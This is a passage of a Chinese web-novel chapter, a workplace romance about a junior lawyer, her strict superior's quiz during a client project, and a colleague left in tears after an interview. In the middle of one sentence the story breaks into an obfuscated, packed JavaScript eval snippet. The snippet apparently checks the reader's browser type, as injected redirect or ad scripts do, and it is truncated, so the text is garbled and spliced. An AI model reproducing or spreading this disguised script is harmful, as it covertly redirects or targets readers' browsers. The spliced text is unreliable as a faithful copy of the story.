要零花钱被无情拒绝了,和傍大款被抛弃又有什么区别。 谁家大款能比她家钟女士还有钱? 林朝月越想越心痛。 聂闪闪煞有其事地问她:“你妈什么性格?我对付我家太后可有一手了,平时甜言蜜语不断,这不刚毕业就让我爸给我买车了。” 林朝月:“武则天。” 聂闪闪:“哈?” 林朝月:“女皇类型的妈,怎么讨好?装傻卖萌撒娇示弱那套都没用,现在一分钱零花钱都没有了。” “断崖式断你零花钱?不应该啊?你是犯啥大错了?” “算是吧,回国前被骗了点钱。” 不多,就两千万。 聂闪闪疑惑:“就只是被骗钱?还有什么别的吗?” 林朝月摊手:“真的就被骗了点钱。”其他的那些八卦绯闻都是谣传,这种怎么能算数。 聂闪闪冷静分析:“那你妈妈肯定是对你期望比较高,希望你好好工作自食其力,反正不能像现在这样摆烂。” “我摆烂?这么明显?” 这次轮到聂闪闪摊手:“不然呢?” “好吧。” 钟女士现在对她的期待值确实比较高,毕竟把她丢到裴舒文这里,等着她改造成功呢。 哎…… 难怪大家现在这么喜欢喝奶茶,心里苦的时候怎么能不来杯甜的。 她伸手还想去拿奶茶。 等手只捞到一把空气,才后知后觉奶茶被她落楼下了。 于是心里更苦了。 聂闪闪:“拿什么呢?” 林朝月:“奶茶。” 聂闪闪:“奶茶不是让你拿下去了吗?这么快就让你喝完了?” 林朝月:“没喝,送人了。” 聂闪闪:“送人?你今天不也第一次来安江集团?这么快就有认识的人了?送谁了?” 送裴舒文了。 准确来说是她记性不好,人又怂怂的。溜得太快,想起来奶茶的时候又没敢回头去拿。 裴舒文肯定不喜欢这种甜品,现在那奶茶估计正在哪个垃圾桶里躺着呢。 “不说这个了,说点别的,你最近几天怎么对我态度这么好?” “车修好了,转性了?” 这女人前几天和她抢车位的时候还不是这副嘴脸呢。 聂闪闪冷哼了一声,瞥了眼对面和自己长相三分相似的聂晶晶。 “敌人的敌人就是朋友,更何况上次在酒吧我喝了你不少酒,下次有机会我也请你喝,我这人不喜欢占别人便宜。” “上次喝酒,我突然发现我酒量好像不错,喝了那多杯才醉,这么牛的天赋我可不能轻易浪费了。” 说完,聂闪闪见林朝月有些诧异地看自己,还拍了拍她的肩膀。 小声说:“别装了,我知道你也不喜欢聂晶晶,友好肯定也都是演出来的,我都懂,放心吧,都交给我,我迟早要让大家都看清这绿茶的嘴脸,不能白被她律。” 林朝月:“……” 聂闪闪:“怎么?林朝月你怎么这个表情?不想喝我请的酒?” “不是。” 林朝月有些无辜地摊手:“我是想说,闻雅没告诉你上次在酒吧,你除了第一杯喝的是酒,其他都不是?” “哈?你说什么?我喝的不是那个什么特调的‘自由古巴’吗?” “是‘自由古巴’,只不过是浓度低一点的‘自由古巴’。” “多低?” 林朝月伸出了一根手指。 聂闪闪:“只放了一杯?” 林朝月摇了摇手指:“一瓶盖。” 听见这话的聂闪闪如遭暴击…… 聂闪闪不可置信地吞了一下口水:“所以我后面喝的都是饮料。” “嗯很。那酒度数很高,我也顶多能喝三杯。” 聂闪闪听完林朝月的话之后觉得很幻灭,丢给林朝月一个极度震惊的眼神,就又不理林朝月了。 这女人变脸的速度是真的快。 连林朝月都有些不适应,不就是不那么会喝酒,这种事有什么好逞强的。 林朝月耸了耸肩,拿出手机开了盘游戏。 “枝枝,等下裴律来了你叫我一下。” “朝月你要现在玩吗?马上就快两点了,裴律应该很快就到了。” “没事,我不打排位,等他来了直接退了就好了。” 孟雨枝不怎么打游戏也不懂,听林朝月说没事,也没再多说,只是隔一会就朝外面看上两眼,帮林朝月望风。 下午两点整。 门外传来了一阵阵说话声,听声音过来的人还不少,刚刚还在闲聊的众人此时已经噤声,都安静地坐在自己的椅子上。 连聂闪闪这种性格的小辣椒,听见声音后也第一时间就收起了手机。 老老实实坐回林朝月边上。 孟雨枝已经叫林朝月两次了,但她正在最关键的激战中,在游戏里杀人还没杀爽,连着说了两声‘马上’,手上却还在操作。 最后还是聂闪闪直接‘抢’走她的手机。 “你干嘛呀,聂闪闪把手机给我。” “裴律看着你呢。”聂闪闪这话几乎是从牙缝里挤出来的。 林朝月后知后觉裴舒文人已经到了,就坐在离自己非常近的位置,此时也在看她。 林朝月终于噤声,拿回手机后默默退出了游戏。 这人怎么总是不声不响就来了,还没游戏中敌人的脚步声大。 林朝月轻咳一声掩饰尴尬,举着面前的资料,努力工作装得有模有样。 还好裴舒文也只是扫了她两眼,并没有把更多的注意力放在她身上, 而是在交代安江集团的人,怎么把面前的这些资料分门别类地摆放好。 林朝月又开始控制不住地想走神。 但这次没神游两秒,就被聂闪闪拉着衣角扯回了思绪。 聂闪闪:“什么情况?” “什么什么情况?”林朝月在游戏里是Queen,在工作上就是赤果果的混子一个。 她哪知道裴舒文搞了这么多材料来是干嘛。 “不是,我说的不是这个。” 聂闪闪已经有些汗流浃背了:“奶茶啊,你不是说奶茶你送人了吗?你别告诉我你是送裴律了?” 19. chapter 19 其实准确来说也不能算送吧。 就是那奶茶刚好落在了裴舒文的面前,她顺口一说。 但聂闪闪怎么知道的。 林朝月本来还疑惑着。 等她把脸从报纸中探出来往外看了两眼。 林朝月就发现,她刚刚落在楼下的那杯奶茶现在就在裴舒文面前,上面还插了根吸管,透明塑料杯里的奶茶少了一半。 他怎么还真喝了? 他不是不喜欢喝红茶吗?还是掺了糖和波霸的红茶。 而且这奶茶摆在他面前怎么这么违和呢? 林朝月刚开始还只是偷偷地看,后面手上举着的资料纸垂了下去,她也没注意。 其他人都是回避着裴舒文目光,只有她这么明目张胆地迎上去,非常显眼。 裴舒文:“看样子林律是有什么问题想问?” 要不是裴舒文就这么对上她的视线,林朝月还没反应过来那声‘林律’是叫自己。 “我?”林朝月反手指自己,然后拨浪鼓似的摇头:“我没问题,没什么想问的。” 裴舒文轻点了一下头:“嗯,那我倒是有几个问题。” “来了来了,终于来了。”聂闪闪声音咬的很小,但林朝月就坐在她旁边,听得很清楚。 什么来了? 林朝月有些茫然。 很快。 她就听裴舒文继续说:“今天是大家来君天梁木后第一次出外勤做项目,正式开始前我想先和大家短暂地开会讨论一下。这样也能方便后面工作的开展。” “讨论以我抛出问题开始,大家有什么想法,可以随意提出。” “林律做一下会议纪要。” 林朝月想说自己不会,但裴舒文明显是要赶鸭子上架,本子和笔都丢给自己了。 裴舒文:“格式是固定的,照着上面的框架填充内容。” 林朝月想拒绝,但裴舒文说得并不能。 林朝月纠结了一下,决定勉为其难试试,但抬头的时候,却发现大家好像都很羡慕她,盯着那个本子的目光都变得非常灼热。 什么情况? 林朝月看了看大家,最后也是一脸疑惑地看向了裴舒文。 裴舒文却没再给她眼神,连脸色都莫名变得严肃了许多,会议室又恢复之前那种死一般的寂静。 不是说要开会讨论吗? 林朝月笔都落下了,盯着空白的纸张却不知道要写什么。 又过了好一会儿。 裴舒文才再次出声,他这次直接点了人名:“袁丽雅。袁律。” 被点到名字的袁丽雅非常紧张,人直接站起来了:“裴律。” 裴舒文倒是淡定得多,只是让她坐下:“不用站起来,接下来大家都可以坐着回答我的问题。” “问题的内容和回答都要记清。” 后面这句对林朝月说的。 林朝月点头:“好。”这工作简单,她能做。 林朝月回答完,她就听裴舒文随意抛出了一个问题:“最近各个项目的前期尽调做的怎么样?” 袁丽雅面上一喜。 这问题不难,律所非诉的项目,一般首要的工作就是前期尽调,她实习的时候做过类似的工作,最近也一直把项目尽调当做自己的主要工作。 而且所里早就有传闻,裴律对下面的人要求非常高,会经常随机提问,她最近还特意做过准备。 这个问题刚好也在她重点准备的范围内。 袁丽雅非常自信:“各个项目都在推进中,我目前已经根据律所提供的模板完成了前期的常规尽调,准备后面还针对不同公司的特点做了针对性调查……” 袁丽雅说了一大堆。 回答的对不对林朝月不知道,但她前前后后真是说了非常多的细节。 林朝月奋笔疾书,那一页纸几乎都写满了。 这工作虽然不用过脑,但写太多还真是累手。 林朝月写完最后一个字,放下笔甩了甩胳膊。 裴舒文也停了一会儿,林朝月都以为这个问题可以结束了,她也准备翻页了。 却听裴舒文又问了句:“我听你提到的都是一些比较大型的项目,还有一些小的项目有没有顾及到?” “裴律……时间比较赶,其他的我们还没来得及看。” “储藏室的卷宗也没看过?” “没……” 这几句好记,林朝月写完的间隙还有空抬头看一眼。 袁丽雅的脸色都白了,她边上聂闪闪那个堂妹也没好到哪里去,刚刚还抬着头,对这会儿头又都低了下去。 但裴舒文这人平日里装得挺绅士的,到了这会儿倒像是看不懂脸色。 聂晶晶眼见着都要找个地缝钻进去了,他还非得又逮着她问了好几句。 她前面回答的磕磕巴巴,到后面干脆一个都答不上了。 林朝月这次就只记下了裴舒文问的几个问题。 答案那栏几乎都白花花的空着。 林朝月在心中默默地想。 这裴舒文都说没有女朋友,还真是不懂得怜香惜玉。 别人她不知道,这两个妹子可都是冲他来的,估计回去要伤心很久了。 但聂闪闪对此却喜闻乐见。 趁大家不注意的时候,还偷着挑衅地看了对面好几眼,直到聂晶晶又委屈又生气,眼泪都快出来了。 裴舒文这才放过她。 但其实也不算完全放过。 裴舒文最后非常直白地给了这两个人同一个评价:“袁律和聂律上周的工作不合格,这周的工作内容不变,还是做项目的前期尽调,如果这期间有什么疑问要随时找人问,我希望这周你们的工作能力能有所改进。” “好了,下一个。” 裴舒文环视全场,最后看向林朝月这个方向。 不会是要提问她吧?想骂她其实可以直接骂的,真不用搞得这么复杂。 毕竟自己零花钱现在都在他那了。 她估计自己挨骂的时候可能都不会反驳一下的。 她林怂怂的外号到底不是白来的。 林朝月把笔都放下了,正在默默做好挨骂的准备。 但裴舒文的视线却很快略过自己,看向了她身边的位置。 “孟雨枝。” “你来说一下所里尽调工作的要点是什么?” 什么工作要点?她们最近的工作不是整理卷宗吗?储藏室一大半的卷宗都是孟雨枝整理的,这人怎么不按套路出牌。 林朝月嘴的反应比脑子还快:“尽调不是我们最近的主要工作,裴律你是不是记错了?” 裴舒文皱了皱眉,他难得当着林朝月的面表现出这样的情绪。 但林朝月却选择性忽视了。 她明明在自己的事上滑跪的迅速,一到别人这里倒是格外坚持。 倒也不是林朝月头铁。 主要是他真的觉得裴舒文贵人多忘事,把孟雨枝也当成和袁丽雅她们一起的了。 林朝月看向裴舒文的眼神都不躲闪了。完全没有了之前见他就躲的神情。 她胆子很大。 但周围其他的人却都非常慌。 这其中最慌的就要数孟雨枝了。 她也顾不上她和林朝月坐的位置离裴舒文很近,放在桌子下面的手直接用力拽了两下林朝月。 “别说了,朝月。” 孟雨枝的声音非常小,林朝月也没怎么听清。 她依然坚持自己的看法。 会议室里的人一度觉得林朝月等下要被赶出去,大家都秉着呼吸,连大气都不敢喘一下。 林朝月却半点都没觉得自己做的有什么问题。 见裴舒文不说话,还非常直接地又问了一句:“裴律,您怎么不说话?难道我说的不对吗?” 裴舒文此时脸上已经没有什么多余的表情了。 只是审视地看了林朝月一眼。 然后轻笑一声,罕见地在工作上的事妥协:“好,那我换几个问题,整理卷宗方面的;等下你也可以补充,如果我提出的问题你们都能答对,那本月的绩效考核我会给你们四个集体A。” “真的?” 林朝月面上一喜,这种考核不考核的本来她也没那么关心,但这几天听孟雨枝提过几次,她也知道了这考核的重要。 两个月内两次大型考核,如果两次都是A,那大概率就可以自己选择之后要工作的部门。 而且每个月的绩效考核也都纳入到绩效工资。 一次A,每个月的薪资能多上不少。 裴舒文:“我从不食言。” 这次不仅是林朝月,会议室里的其他人也都变了脸色,回答几个问题就能拿A?还有这种好事? 袁丽雅和聂晶晶已经从刚刚的极度失落,到眼前一亮了。 其他的人也都在默默后悔没来裴舒文的组了。 寂静的会议室,难得有了大家私下里讨论的声音。 裴舒文:“准备好了?我只有三个问题。” 林朝月对孟雨枝和自己都非常有信心。 “准备好了,你问吧。” 裴舒文很快就抛出了第一个问题,这问题非常简单,连林朝月这种混子都能轻而易举地回答上。 因为裴舒文的第一个问题是‘卷宗整理的注意事项’。 整理了差不多半个储藏室的卷宗,就那些步骤和注意事项林朝月都会背了。 更何况比自己更用心的孟雨枝。 果然,很快林朝月就听见孟雨枝把那些注意事项一字不落地背了出来。 裴舒文:“嗯,第一个问题回答得很好。” 林朝月都有些迫不及待了,她觉得绩效工资正在向她们招手。 裴舒文:“我的第二个问题也很简单,我们所里的卷宗储藏室会收录所有受理过的案件,而收录整理的最长时限是半年。” “也就是说,半年内所有的卷宗都会归档。” “我的问题是,近半年内,君天梁木出现过重大失误的项目有哪些?其中与安江集团有关的项目是哪个?” 听见这个问题的林朝月忍不住蹙了下眉。 这问题就没那么简单了。 首先‘重大失误’就不是很好定义,怎么叫重大失误呢?是中途暂停合作,还是在合作的过程中出现了纠纷?或者是最后结果不尽人意。 这么主观的问题,不是裴舒文说什么就是什么?他这是在存心为难她们吗? 她看孟雨枝此时的脸上也有些为难,几次欲言又止。 就在林朝月以为,今天她和孟雨枝也要被裴舒文从头到脚批一顿的时候。 裴舒文却又非常‘善解人意’地提了句:“只回答对后面的那个问题也算通过。这也是你们今天接下来要完成的工作。” 那范围就一下子缩小了。 今年君天梁木和安江集团合作的项目一共就那么几个,就算随便猜一个,也有非常大的概率可以猜对。 更何况孟雨枝在整理卷宗的时候非常细致,很多同类型同主体的项目案件,她都做了归纳整理。 别人不知道,林朝月可都全程看在眼里。 林朝月满脸期待地看孟雨枝。 然后就见孟雨枝的神色有些古怪,犹豫了很久,才给出了自己的答案:“是安江集团并购金再来设备制造有些公司的那个项目吗?” “嗯,是。”裴舒文说。 林朝月已经开始有种中彩票的感觉了。 那这样不是再回答一个问题就可以了。 林朝月很乐观地觉得只要裴舒文不刻意为难人,下一个问题孟雨枝也肯定能答上。 反观孟雨枝就没那么乐观了。 连看林朝月的眼神都逐渐变得有些复杂。 起初林朝月还没觉得有什么不对,等裴舒文中途被安江集团的人叫出去,林朝月才发现孟雨枝此时的表情比哭还难看。 “你怎么了?是不是哪里不舒服?” 孟雨枝:“朝月,下一个问题我可能回答不上了。” “为什么?裴律不是还没问呢吗?你怎么知道自己答不上?而且裴律不是说谁答上都可以,我记性好,看过的卷宗都能记得,到时候我也能答。” “金再来的那个项目我没看?” “哪个?”林朝月还在回想‘金再来’是哪个公司,孟雨枝的眼泪已经彻底含在了眼圈里。 “就是最后的那几份,周五那天我老家来人了,就没再回所里,最后那几份也都没仔细看过。” “怎么办啊朝月?” 如果是别的她看过的卷宗她或许还有点办法,但这个她是真的没看过。 林朝月表情也变得沉闷了,她思来想去后安慰道:“先别急,万一等下裴律问得不是这个案子呢,也不是没有这种可能。” 到了现在就算急也没用。 也只能抱着侥幸的心理了。 但林朝月最近这段时间,基本和‘幸运女神’这四个字不沾边。 裴舒文只走开了一会儿,很快就回来了。 回来后他抛出了最后一个问题。 裴舒文:“刚刚提到的那个项目,说一下项目中途暂停的原因。” 空气中瞬间变得死一般的安静。 裴舒文也不催,就这么等着有人说出答案。 隔了半分钟,见没人准备回答,才点了点林朝月面前的桌子。 “刚刚的三个问题也都记录一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“谁叫孟雨枝?” “我。”孟雨枝这会儿眼睛已经不那么红了,但人还是没什么精神。 “好,那你跟我过来一下,金再来的老板娘已经到了,你这边可以开始访谈了。” “现在吗?不是线上访谈吗?” 行政被那老女人磨了一路,现在见孟雨枝这么犹豫,态度非常不好:“对,就是现在,大家都在等你,你快一点。” “对不起,我这就来。” 裴舒文把在安江集团工作的项目拆成了很多模块。 每一个模块也都分的比较细致,林朝月被分到的内容比较简单,就是比较简单地整理大家写好的尽调报告。 孟雨枝被分到的工作就很有难度了。 几乎是在场所有人中最有难度的。 她被安排去做金再来公司的老板娘访谈。 其实不止是她,起初大家也以为谈话就只是简单的线上谈话呢,但现在看来好像不是。 林朝月知道她状态不怎么好,孟雨枝临走前还拉了一下她的手:“你一个人能行吗?我的工作不多,要不要我陪你一起?” 孟雨枝摇头:“没事,我自己可以的,我之前也学过怎么做尽调访谈,我问完问题就回来。” 林朝月松了手。 但自从孟雨枝走,她一整个工作的下午都有些惴惴不安。 一直等到下班时间,也没见孟雨枝回来。 最后连聂闪闪都觉得有些不对劲了。 聂闪闪:“林朝月,要不你打个电话问问?什么尽调要做这么久?访谈这种事不就是走个流程,哪里用得了这么长时间。” 电话林朝月早就打了,但对面迟迟没人接。 林朝月干脆收了东西把包丢给聂闪闪:“东西帮我拿一下,我出去找找,要是找到人一起下班。” 被丢过去的包又被丢了回来:“你还自己出去找什么,一起去看看。” “行。” 林朝月这人平时虽然散漫,但关键时刻也不是次次都掉链子。 比如现在,她直接化身社牛从安江集团的工作人员那里问到孟雨枝在的那间会议室。 那间会议室位置不远,就在同一层最里面的位置。 林朝月和聂闪闪一前一后地过去。 但会议室里意外的没有人。 倒是桌子和地板有些狼藉,零碎的纸片撒了一地。 保洁阿姨正在拿着扫帚打扫。 林朝月低头捡了一张碎纸片,上面的字迹工整,是孟雨枝写的。 林朝月:“阿姨,这个房间那姑娘呢?” “你说哪个?骂人那个还是被骂那个?” 林朝月和聂闪闪面面相觑,最后齐刷刷地回:“被骂那个。” “喏,就在旁边那个楼梯间哭呢,小姑娘家家的倒是脆弱,别人骂都不还嘴的,怎么受得了这种气哦。” 扫地阿姨一脸不赞成的摇头。 林朝月却根本没听她说了什么,小跑着进了楼梯间…… -- 下班回家的路上,林朝月始终心事重重。 人像是丢了魂似的。 她住三楼,裴舒文住四楼,但她上楼梯的时候还是不知不觉按了四楼的电梯按钮。 在裴舒文家门口徘徊了一会儿后,林朝月最终按了门铃。 裴舒文出差刚回宁城,这个时间一般不会有人找他,听见门铃响的时候他刚洗完澡。 开门的时候,他只裹了一条浴巾,头发还没来得及吹干。 裴舒文就这么雾气蒙蒙地进入到林朝月的视线。 “有事?” 林朝月余光扫到男人锁骨上挂着的水珠,非常不争气地脸红了,她紧忙别开视线:“嗯,那个,我有事情想和你说,工作上的事。” “进来。” 裴舒文甚至没再多问,就直接给她留了门,自己转身去倒水。 林朝月进门了,但没完全进,她身后的门没关,人也只是站在玄关口。 裴舒文:“不关门?” “关。”林朝月不大好意思看了眼裴舒文,随后低头:“但你要不要穿件衣服我们在说。” 林朝月说完,半晌没听到回音。 等她再抬头的时候,裴舒文不知道什么时候已经走到她面前了。 怎么靠得这么近啊! 这个距离她都能看到裴舒文的喉结了! 她这次直接闭紧了眼,语速飞快:“裴舒文你等等,不穿衣服也行的,我说完马上就走!你别乱来!”